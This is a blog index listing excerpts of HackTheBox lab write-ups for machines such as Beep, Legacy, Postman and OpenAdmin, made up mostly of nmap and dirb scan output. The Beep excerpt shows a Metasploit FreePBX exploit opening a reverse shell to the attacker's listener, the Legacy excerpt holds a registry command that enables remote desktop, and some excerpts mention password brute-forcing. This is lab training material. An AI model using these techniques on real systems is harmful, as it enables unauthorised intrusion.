Security Research & Engineering Practice

Technical articles migrated from Yuque.

HackTheBox: DevOops Notes

Nmap # nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap Nmap scan report for 10.10.10.91 Host is up (0.90s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA) | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA) |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519) 5000/tcp open http Gunicorn 19.7.1 |_http-server-header: gunicorn/19.7.1 |_http-title: Site doesn't have a title (text/html; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Tried brute-forcing SSH with hydra using Kali’s built-in fasttrack wordlist — no luck ...

HackTheBox: Sense Notes

It’s essential to figure out what CMS the website you’re attacking runs, what middleware it uses, and what the target machine’s reputation is! 10.10.10.60 Nmap # nmap -p- -sC -sV 10.10.10.60 nmap scan report for 10.10.10.60 Host is up (0.0058s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 |_http-title: Did not follow redirect to https://10.10.10.60/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/https? |_ssl-date: TLS randomness does not represent time lighttpd 1.4.35 Port 80 redirects to 443, and the web app is on port 443: ...

HackTheBox: Beep Notes

elastix msf5 exploit(unix/http/freepbx_callmenum) > show options Module options (exploit/unix/http/freepbx_callmenum): Name Current Setting Required Description ---- --------------- -------- ----------- EXTENSION 230-240 yes A range of Local extension numbers Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.16.122 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target msf5 exploit(unix/http/freepbx_callmenum) > run [*] Started reverse TCP double handler on 10.10.16.122:4444 [*] 10.10.10.7:443 - Sending evil request with range 230 [*] 10.10.10.7:443 - Sending evil request with range 231 [*] 10.10.10.7:443 - Sending evil request with range 232 [*] 10.10.10.7:443 - Sending evil request with range 233 [*] 10.10.10.7:443 - Sending evil request with range 234 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo qaF1oILSz5kNCclV; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "qaF1oILSz5kNCclV\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.10.16.122:4444 -> 10.10.10.7:39534) at 2020-05-25 01:37:26 +0800 issue to fix set ssl true ...

HackTheBox: Legacy Notes

Information Gathering Nmap Nmap scan report for 10.10.10.4 Host is up (0.0050s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 3389/tcp closed ms-wbt-server Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Host script results: |_clock-skew: mean: 5d00h30m01s, deviation: 2h07m16s, median: 4d23h00m01s |_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:b1:37 (VMware) | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: legacy | NetBIOS computer name: LEGACY\x00 | Workgroup: HTB\x00 |_ System time: 2020-05-23T20:26:09+03:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f ...

HackTheBox: Solidstate Notes

10.10.10.51 Information Gathering Nmap A rough scan revealed quite a few ports, # nmap 10.10.10.51 Nmap scan report for 10.10.10.51 Host is up (1.0s latency). Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 119/tcp open nntp # Full port scan ## Nmap scan report for 10.10.10.51 Host is up (4.8s latency). Not shown: 64192 closed ports, 1337 filtered ports PORT STATE SERVICE VERSION 22/tcp open tcpwrapped | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open tcpwrapped |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), 80/tcp open tcpwrapped |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open tcpwrapped 119/tcp open tcpwrapped 4555/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1134.71 seconds An email address was found on the homepage, so let’s try brute-forcing it ...

HackTheBox: Postman Notes

10.10.10.160 Information Gathering Nmap # nmap 10.10.10.160 -p22,80,6379,10000 -sV -sC -oA scans/allport.nmap --min-rate 1000 Nmap scan report for postman (10.10.10.160) Host is up (0.72s latency). rDNS record for 10.10.10.160: Postman PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-server-header: MiniServ/1.910 |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel The latency from Asia to HTB’s European servers is really high. A full-port scan without --min-rate takes more than half an hour, but specifying it causes packet loss, so the full port range keeps getting missed. Frustrating. ...

HackTheBox: October Notes (PWN)

Information Gathering Nmap root@localhost:~/HTB/october# nmap -p22,80 -sV -sC 10.10.10.16 --min-rate 1000 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 14:48 UTC Nmap scan report for 10.10.10.16 Host is up (0.54s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA) | 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA) | 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA) |_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Potentially risky methods: PUT PATCH DELETE |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: October CMS - Vanilla Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + Server: Apache/2.4.7 (Ubuntu) + Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21 Port 80: Weak Password A CMS called october. Searching with searchsploit turns up a few vulnerabilities, but exploiting them effectively requires confirming the version number. I went to GitHub to see where the version number lives in the source code — it’s in the composer.json file under the web root — but testing showed it’s not directly accessible from the outside, and neither changelog nor readme contained version info, so I gave up on that. Later, after getting www-data access, I saw it was version 1.0.412 ...

HackTheBox: Grandpa Notes

Information Gathering Nmap root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH |_http-server-header: Microsoft-IIS/6.0 I also recalled that in [this "different" kind of real-world penetration test case analysis article](https://paper.seebug.org/1144/), it mentioned that `webdav` seems to have an `xxe`. I tried it on the root directory, with no luck. | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | WebDAV type: Unknown | Server Type: Microsoft-IIS/6.0 | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK |_ Server Date: Thu, 23 Apr 2020 13:11:29 GMT Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Directory Scanning root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.14/ ---- ==> DIRECTORY: http://10.10.10.14/_vti_bin/ + http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195) + http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96) ==> DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut ...

HackTheBox: OpenAdmin Notes

Information Gathering 10.10.10.171: Nmap # nmap -A 10.10.10.171 -oA nmap.tcp Nmap scan report for 10.10.10.171 Host is up (0.34s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 1185/tcp filtered catchpole 2046/tcp filtered sdfunc 2701/tcp filtered sms-rcinfo 2875/tcp filtered dxmessagebase2 24444/tcp filtered unknown Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (93%), Linux 3.2 - 4.9 (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 3.10 (92%), Android 4.1.2 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 5900/tcp) HOP RTT ADDRESS 1 354.54 ms 10.10.14.1 2 354.49 ms 10.10.10.171 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ Port 80: enum more -> OpenNetAdmin # dirb http://10.10.10.171/ -o dirb.scan ---- Scanning URL: http://10.10.10.171/ ---- ==> DIRECTORY: http://10.10.10.171/artwork/ + http://10.10.10.171/index.html (CODE:200|SIZE:10918) ==> DIRECTORY: http://10.10.10.171/music/ + http://10.10.10.171/server-status (CODE:403|SIZE:277) ---- Entering directory: http://10.10.10.171/artwork/ ---- ==> DIRECTORY: http://10.10.10.171/artwork/css/ ==> DIRECTORY: http://10.10.10.171/artwork/fonts/ ...

HackTheBox: Cronos Notes

Information Gathering NMAP # nmap -sV -sC -Pn -p- --min-rate 1000 -oA scans\alltcp 10.10.10.13 Nmap scan report for 10.10.10.13 Host is up (1.0s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nothing on port 80… ...